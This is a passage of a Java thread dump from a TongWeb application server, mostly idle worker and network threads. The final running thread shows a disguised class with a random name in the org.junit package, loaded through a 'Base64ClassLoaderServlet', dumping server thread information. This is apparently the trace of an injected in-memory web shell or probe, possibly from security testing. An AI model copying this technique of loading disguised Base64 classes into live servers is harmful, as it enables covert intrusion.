com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@550f7676 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"Thread-36" #99 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c16a709 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #41 daemon [WAITING] on java.util.TaskQueue@c19806c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +" server-work-7" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +" server-work-9" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-7" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-10" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-7" #140 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"persistence" #97 daemon [WAITING] on java.util.TaskQueue@c8ea220 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-9060-exec-3" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-3" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-7200" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-ClientPoller-1" #159 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-6" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-5" #47 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +" server-work-4" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-7" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #86 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-4" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"com.tongweb.tongejb.pool.scheduler.2" #55 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@229cd901 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #101 daemon [TIMED_WAITING] on java.util.TaskQueue@1b0b0cb4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +" server-work-6" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-4" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[172.17.0.4:46537]" #19 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5b51f559 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-5" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-4" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"persistence" #104 daemon [TIMED_WAITING] on java.util.TaskQueue@22b7c3b1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI TCP Connection(2)-172.17.0.4" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$28/228314699.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-ClientPoller-0" #144 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-1" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +" server-work-10" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-127.0.0.1" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$28/228314699.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-Acceptor-0" #117 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60) + at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:217) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-Acceptor-0" #146 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:869) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-2" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-2" #121 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.junit.HjZBH.ErrorTcjhwHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:52) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202) + at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:242) + at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46) + at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) + at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69) + at 